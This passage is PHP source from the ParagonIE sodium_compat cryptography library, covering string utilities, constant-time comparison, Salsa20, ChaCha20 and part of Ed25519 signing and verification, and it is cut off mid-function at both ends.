            self::intToChr(($hiB >> 16) & 0xff) .
            self::intToChr(($hiB >> 24) & 0xff);
    }

    /**
     * Safe string length
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @return int
     * @throws TypeError
     */
    public static function strlen($str)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        return (int) (
        self::isMbStringOverride()
            ? mb_strlen($str, '8bit')
            : strlen($str)
        );
    }

    /**
     * Turn a string into an array of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return array<int, int>
     * @throws TypeError
     */
    public static function stringToIntArray($string)
    {
        if (!is_string($string)) {
            throw new TypeError('String expected');
        }
        /**
         * @var array<int, int>
         */
        $values = array_values(
            unpack('C*', $string)
        );
        return $values;
    }

    /**
     * Safe substring
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @param int $start
     * @param int $length
     * @return string
     * @throws TypeError
     */
    public static function substr($str, $start = 0, $length = null)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        if ($length === 0) {
            return '';
        }

        if (self::isMbStringOverride()) {
            if (PHP_VERSION_ID < 50400 && $length === null) {
                $length = self::strlen($str);
            }
            $sub = (string) mb_substr($str, $start, $length, '8bit');
        } elseif ($length === null) {
            $sub = (string) substr($str, $start);
        } else {
            $sub = (string) substr($str, $start, $length);
        }
        if ($sub !== '') {
            return $sub;
        }
        return '';
    }

    /**
     * Compare a 16-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_16($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 16),
            self::substr($b, 0, 16)
        );
    }

    /**
     * Compare a 32-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_32($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 32),
            self::substr($b, 0, 32)
        );
    }

    /**
     * Calculate $a ^ $b for two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return string
     * @throws TypeError
     */
    public static function xorStrings($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('Argument 1 must be a string');
        }
        if (!is_string($b)) {
            throw new TypeError('Argument 2 must be a string');
        }

        return (string) ($a ^ $b);
    }

    /**
     * Returns whether or not mbstring.func_overload is in effect.
     *
     * @internal You should not use this directly from another application
     *
     * Note: MB_OVERLOAD_STRING === 2, but we don't reference the constant
     * (for nuisance-free PHP 8 support)
     *
     * @return bool
     */
    protected static function isMbStringOverride()
    {
        static $mbstring = null;

        if ($mbstring === null) {
            if (!defined('MB_OVERLOAD_STRING')) {
                $mbstring = false;
                return $mbstring;
            }
            $mbstring = extension_loaded('mbstring')
                && defined('MB_OVERLOAD_STRING')
                &&
            ((int) (ini_get('mbstring.func_overload')) & 2);
            // MB_OVERLOAD_STRING === 2
        }
        /** @var bool $mbstring */

        return $mbstring;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Salsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Salsa20
 */
abstract class ParagonIE_Sodium_Core_Salsa20 extends ParagonIE_Sodium_Core_Util
{
    const ROUNDS = 20;

    /**
     * Calculate an salsa20 hash of a single block
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function core_salsa20($in, $k, $c = null)
    {
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        if ($c === null) {
            $j0  = $x0  = 0x61707865;
            $j5  = $x5  = 0x3320646e;
            $j10 = $x10 = 0x79622d32;
            $j15 = $x15 = 0x6b206574;
        } else {
            $j0  = $x0  = self::load_4(self::substr($c, 0, 4));
            $j5  = $x5  = self::load_4(self::substr($c, 4, 4));
            $j10 = $x10 = self::load_4(self::substr($c, 8, 4));
            $j15 = $x15 = self::load_4(self::substr($c, 12, 4));
        }
        $j1  = $x1  = self::load_4(self::substr($k, 0, 4));
        $j2  = $x2  = self::load_4(self::substr($k, 4, 4));
        $j3  = $x3  = self::load_4(self::substr($k, 8, 4));
        $j4  = $x4  = self::load_4(self::substr($k, 12, 4));
        $j6  = $x6  = self::load_4(self::substr($in, 0, 4));
        $j7  = $x7  = self::load_4(self::substr($in, 4, 4));
        $j8  = $x8  = self::load_4(self::substr($in, 8, 4));
        $j9  = $x9  = self::load_4(self::substr($in, 12, 4));
        $j11 = $x11 = self::load_4(self::substr($k, 16, 4));
        $j12 = $x12 = self::load_4(self::substr($k, 20, 4));
        $j13 = $x13 = self::load_4(self::substr($k, 24, 4));
        $j14 = $x14 = self::load_4(self::substr($k, 28, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4 ^= self::rotate($x0 + $x12, 7);
            $x8 ^= self::rotate($x4 + $x0, 9);
            $x12 ^= self::rotate($x8 + $x4, 13);
            $x0 ^= self::rotate($x12 + $x8, 18);

            $x9 ^= self::rotate($x5 + $x1, 7);
            $x13 ^= self::rotate($x9 + $x5, 9);
            $x1 ^= self::rotate($x13 + $x9, 13);
            $x5 ^= self::rotate($x1 + $x13, 18);

            $x14 ^= self::rotate($x10 + $x6, 7);
            $x2 ^= self::rotate($x14 + $x10, 9);
            $x6 ^= self::rotate($x2 + $x14, 13);
            $x10 ^= self::rotate($x6 + $x2, 18);

            $x3 ^= self::rotate($x15 + $x11, 7);
            $x7 ^= self::rotate($x3 + $x15, 9);
            $x11 ^= self::rotate($x7 + $x3, 13);
            $x15 ^= self::rotate($x11 + $x7, 18);

            $x1 ^= self::rotate($x0 + $x3, 7);
            $x2 ^= self::rotate($x1 + $x0, 9);
            $x3 ^= self::rotate($x2 + $x1, 13);
            $x0 ^= self::rotate($x3 + $x2, 18);

            $x6 ^= self::rotate($x5 + $x4, 7);
            $x7 ^= self::rotate($x6 + $x5, 9);
            $x4 ^= self::rotate($x7 + $x6, 13);
            $x5 ^= self::rotate($x4 + $x7, 18);

            $x11 ^= self::rotate($x10 + $x9, 7);
            $x8 ^= self::rotate($x11 + $x10, 9);
            $x9 ^= self::rotate($x8 + $x11, 13);
            $x10 ^= self::rotate($x9 + $x8, 18);

            $x12 ^= self::rotate($x15 + $x14, 7);
            $x13 ^= self::rotate($x12 + $x15, 9);
            $x14 ^= self::rotate($x13 + $x12, 13);
            $x15 ^= self::rotate($x14 + $x13, 18);
        }

        $x0  += $j0;
        $x1  += $j1;
        $x2  += $j2;
        $x3  += $j3;
        $x4  += $j4;
        $x5  += $j5;
        $x6  += $j6;
        $x7  += $j7;
        $x8  += $j8;
        $x9  += $j9;
        $x10 += $j10;
        $x11 += $j11;
        $x12 += $j12;
        $x13 += $j13;
        $x14 += $j14;
        $x15 += $j15;

        return self::store32_le($x0) .
            self::store32_le($x1) .
            self::store32_le($x2) .
            self::store32_le($x3) .
            self::store32_le($x4) .
            self::store32_le($x5) .
            self::store32_le($x6) .
            self::store32_le($x7) .
            self::store32_le($x8) .
            self::store32_le($x9) .
            self::store32_le($x10) .
            self::store32_le($x11) .
            self::store32_le($x12) .
            self::store32_le($x13) .
            self::store32_le($x14) .
            self::store32_le($x15);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20($len, $nonce, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        $kcopy = '' . $key;
        $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8);
        $c = '';
        while ($len >= 64) {
            $c .= self::core_salsa20($in, $kcopy, null);
            $u = 1;
            // Internal counter.
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }
            $len -= 64;
        }
        if ($len > 0) {
            $c .= self::substr(
                self::core_salsa20($in, $kcopy, null),
                0,
                $len
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $kcopy = null;
        }
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $n
     * @param int $ic
     * @param string $k
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor_ic($m, $n, $ic, $k)
    {
        $mlen = self::strlen($m);
        if ($mlen < 1) {
            return '';
        }
        $kcopy = self::substr($k, 0, 32);
        $in = self::substr($n, 0, 8);
        // Initialize the counter
        $in .= ParagonIE_Sodium_Core_Util::store64_le($ic);

        $c = '';
        while ($mlen >= 64) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, 64),
                self::substr($block, 0, 64)
            );
            $u = 1;
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }

            $mlen -= 64;
            $m = self::substr($m, 64);
        }

        if ($mlen) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, $mlen),
                self::substr($block, 0, $mlen)
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block);
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $block = null;
            $kcopy = null;
        }

        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::salsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $u
     * @param int $c
     * @return int
     */
    public static function rotate($u, $c)
    {
        $u &= 0xffffffff;
        $c %= 32;
        return (int) (0xffffffff & (
                ($u << $c)
                    |
                ($u >> (32 - $c))
            )
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20
 */
class ParagonIE_Sodium_Core_ChaCha20 extends ParagonIE_Sodium_Core_Util
{
    /**
     * Bitwise left rotation
     *
     * @internal You should not use this directly from another application
     *
     * @param int $v
     * @param int $n
     * @return int
     */
    public static function rotate($v, $n)
    {
        $v &= 0xffffffff;
        $n &= 31;
        return (int) (
            0xffffffff & (
                ($v << $n)
                    |
                ($v >> (32 - $n))
            )
        );
    }

    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @return array<int, int>
     */
    protected static function quarterRound($a, $b, $c, $d)
    {
        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 7);
        return array((int) $a, (int) $b, (int) $c, (int) $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws TypeError
     * @throws SodiumException
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        $j0  = (int) $ctx[0];
        $j1  = (int) $ctx[1];
        $j2  = (int) $ctx[2];
        $j3  = (int) $ctx[3];
        $j4  = (int) $ctx[4];
        $j5  = (int) $ctx[5];
        $j6  = (int) $ctx[6];
        $j7  = (int) $ctx[7];
        $j8  = (int) $ctx[8];
        $j9  = (int) $ctx[9];
        $j10 = (int) $ctx[10];
        $j11 = (int) $ctx[11];
        $j12 = (int) $ctx[12];
        $j13 = (int) $ctx[13];
        $j14 = (int) $ctx[14];
        $j15 = (int) $ctx[15];

        $c = '';
        for (;;) {
            if ($bytes < 64) {
                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  (int) $j0;
            $x1 =  (int) $j1;
            $x2 =  (int) $j2;
            $x3 =  (int) $j3;
            $x4 =  (int) $j4;
            $x5 =  (int) $j5;
            $x6 =  (int) $j6;
            $x7 =  (int) $j7;
            $x8 =  (int) $j8;
            $x9 =  (int) $j9;
            $x10 = (int) $j10;
            $x11 = (int) $j11;
            $x12 = (int) $j12;
            $x13 = (int) $j13;
            $x14 = (int) $j14;
            $x15 = (int) $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            /** @var int $x0 */
            $x0  = ($x0 & 0xffffffff) + $j0;
            /** @var int $x1 */
            $x1  = ($x1 & 0xffffffff) + $j1;
            /** @var int $x2 */
            $x2  = ($x2 & 0xffffffff) + $j2;
            /** @var int $x3 */
            $x3  = ($x3 & 0xffffffff) + $j3;
            /** @var int $x4 */
            $x4  = ($x4 & 0xffffffff) + $j4;
            /** @var int $x5 */
            $x5  = ($x5 & 0xffffffff) + $j5;
            /** @var int $x6 */
            $x6  = ($x6 & 0xffffffff) + $j6;
            /** @var int $x7 */
            $x7  = ($x7 & 0xffffffff) + $j7;
            /** @var int $x8 */
            $x8  = ($x8 & 0xffffffff) + $j8;
            /** @var int $x9 */
            $x9  = ($x9 & 0xffffffff) + $j9;
            /** @var int $x10 */
            $x10 = ($x10 & 0xffffffff) + $j10;
            /** @var int $x11 */
            $x11 = ($x11 & 0xffffffff) + $j11;
            /** @var int $x12 */
            $x12 = ($x12 & 0xffffffff) + $j12;
            /** @var int $x13 */
            $x13 = ($x13 & 0xffffffff) + $j13;
            /** @var int $x14 */
            $x14 = ($x14 & 0xffffffff) + $j14;
            /** @var int $x15 */
            $x15 = ($x15 & 0xffffffff) + $j15;

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  ^= self::load_4(self::substr($message, 0, 4));
            $x1  ^= self::load_4(self::substr($message, 4, 4));
            $x2  ^= self::load_4(self::substr($message, 8, 4));
            $x3  ^= self::load_4(self::substr($message, 12, 4));
            $x4  ^= self::load_4(self::substr($message, 16, 4));
            $x5  ^= self::load_4(self::substr($message, 20, 4));
            $x6  ^= self::load_4(self::substr($message, 24, 4));
            $x7  ^= self::load_4(self::substr($message, 28, 4));
            $x8  ^= self::load_4(self::substr($message, 32, 4));
            $x9  ^= self::load_4(self::substr($message, 36, 4));
            $x10 ^= self::load_4(self::substr($message, 40, 4));
            $x11 ^= self::load_4(self::substr($message, 44, 4));
            $x12 ^= self::load_4(self::substr($message, 48, 4));
            $x13 ^= self::load_4(self::substr($message, 52, 4));
            $x14 ^= self::load_4(self::substr($message, 56, 4));
            $x15 ^= self::load_4(self::substr($message, 60, 4));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            ++$j12;
            if ($j12 & 0xf0000000) {
                throw new SodiumException('Overflow');
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */
            $block = self::store32_le((int) ($x0  & 0xffffffff)) .
                 self::store32_le((int) ($x1  & 0xffffffff)) .
                 self::store32_le((int) ($x2  & 0xffffffff)) .
                 self::store32_le((int) ($x3  & 0xffffffff)) .
                 self::store32_le((int) ($x4  & 0xffffffff)) .
                 self::store32_le((int) ($x5  & 0xffffffff)) .
                 self::store32_le((int) ($x6  & 0xffffffff)) .
                 self::store32_le((int) ($x7  & 0xffffffff)) .
                 self::store32_le((int) ($x8  & 0xffffffff)) .
                 self::store32_le((int) ($x9  & 0xffffffff)) .
                 self::store32_le((int) ($x10 & 0xffffffff)) .
                 self::store32_le((int) ($x11 & 0xffffffff)) .
                 self::store32_le((int) ($x12 & 0xffffffff)) .
                 self::store32_le((int) ($x13 & 0xffffffff)) .
                 self::store32_le((int) ($x14 & 0xffffffff)) .
                 self::store32_le((int) ($x15 & 0xffffffff));

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Ed25519', false)) {
    return;
}
if (!class_exists('ParagonIE_Sodium_Core_Curve25519', false)) {
    require_once dirname(__FILE__) . '/Curve25519.php';
}

/**
 * Class ParagonIE_Sodium_Core_Ed25519
 */
abstract class ParagonIE_Sodium_Core_Ed25519 extends ParagonIE_Sodium_Core_Curve25519
{
    const KEYPAIR_BYTES = 96;
    const SEED_BYTES = 32;
    const SCALAR_BYTES = 32;

    /**
     * @internal You should not use this directly from another application
     *
     * @return string (96 bytes)
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keypair()
    {
        $seed = random_bytes(self::SEED_BYTES);
        $pk = '';
        $sk = '';
        self::seed_keypair($pk, $sk, $seed);
        return $sk . $pk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $pk
     * @param string $sk
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function seed_keypair(&$pk, &$sk, $seed)
    {
        if (self::strlen($seed) !== self::SEED_BYTES) {
            throw new RangeException('crypto_sign keypair seed must be 32 bytes long');
        }

        /** @var string $pk */
        $pk = self::publickey_from_secretkey($seed);
        $sk = $seed . $pk;
        return $sk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function secretkey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 0, 64);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function publickey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 64, 32);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function publickey_from_secretkey($sk)
    {
        /** @var string $sk */
        $sk = hash('sha512', self::substr($sk, 0, 32), true);
        $sk[0] = self::intToChr(
            self::chrToInt($sk[0]) & 248
        );
        $sk[31] = self::intToChr(
            (self::chrToInt($sk[31]) & 63) | 64
        );
        return self::sk_to_pk($sk);
    }

    /**
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pk_to_curve25519($pk)
    {
        if (self::small_order($pk)) {
            throw new SodiumException('Public key is on a small order');
        }
        $A = self::ge_frombytes_negate_vartime(self::substr($pk, 0, 32));
        $p1 = self::ge_mul_l($A);
        if (!self::fe_isnonzero($p1->X)) {
            throw new SodiumException('Unexpected zero result');
        }

        # fe_1(one_minus_y);
        # fe_sub(one_minus_y, one_minus_y, A.Y);
        # fe_invert(one_minus_y, one_minus_y);
        $one_minux_y = self::fe_invert(
            self::fe_sub(
                self::fe_1(),
                $A->Y
            )
        );

        # fe_1(x);
        # fe_add(x, x, A.Y);
        # fe_mul(x, x, one_minus_y);
        $x = self::fe_mul(
            self::fe_add(self::fe_1(), $A->Y),
            $one_minux_y
        );

        # fe_tobytes(curve25519_pk, x);
        return self::fe_tobytes($x);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sk_to_pk($sk)
    {
        return self::ge_p3_tobytes(
            self::ge_scalarmult_base(
                self::substr($sk, 0, 32)
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        /** @var string $signature */
        $signature = self::sign_detached($message, $sk);
        return $signature . $message;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message A signed message
     * @param string $pk      Public key
     * @return string         Message (without signature)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($message, $pk)
    {
        /** @var string $signature */
        $signature = self::substr($message, 0, 64);

        /** @var string $message */
        $message = self::substr($message, 64);

        if (self::verify_detached($signature, $message, $pk)) {
            return $message;
        }
        throw new SodiumException('Invalid signature');
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        # crypto_hash_sha512(az, sk, 32);
        $az =  hash('sha512', self::substr($sk, 0, 32), true);

        # az[0] &= 248;
        # az[31] &= 63;
        # az[31] |= 64;
        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, az + 32, 32);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, nonce);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($az, 32, 32));
        hash_update($hs, $message);
        $nonceHash = hash_final($hs, true);

        # memmove(sig + 32, sk + 32, 32);
        $pk = self::substr($sk, 32, 32);

        # sc_reduce(nonce);
        # ge_scalarmult_base(&R, nonce);
        # ge_p3_tobytes(sig, &R);
        $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = self::ge_p3_tobytes(
            self::ge_scalarmult_base($nonce)
        );

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, sig, 64);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, hram);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($sig, 0, 32));
        hash_update($hs, self::substr($pk, 0, 32));
        hash_update($hs, $message);
        $hramHash = hash_final($hs, true);

        # sc_reduce(hram);
        # sc_muladd(sig + 32, hram, az, nonce);
        $hram = self::sc_reduce($hramHash);
        $sigAfter = self::sc_muladd($hram, $az, $nonce);
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        return $sig;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sig
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_detached($sig, $message, $pk)
    {
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }
        if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (self::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($pk[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A = self::ge_frombytes_negate_vartime($pk);

        /** @var string $hDigest */
        $hDigest = hash(
            'sha512',
            self::substr($sig, 0, 32) .
                self::substr($pk, 0, 32) .
                $message,
            true
        );

        /** @var string $h */
        $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = self::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
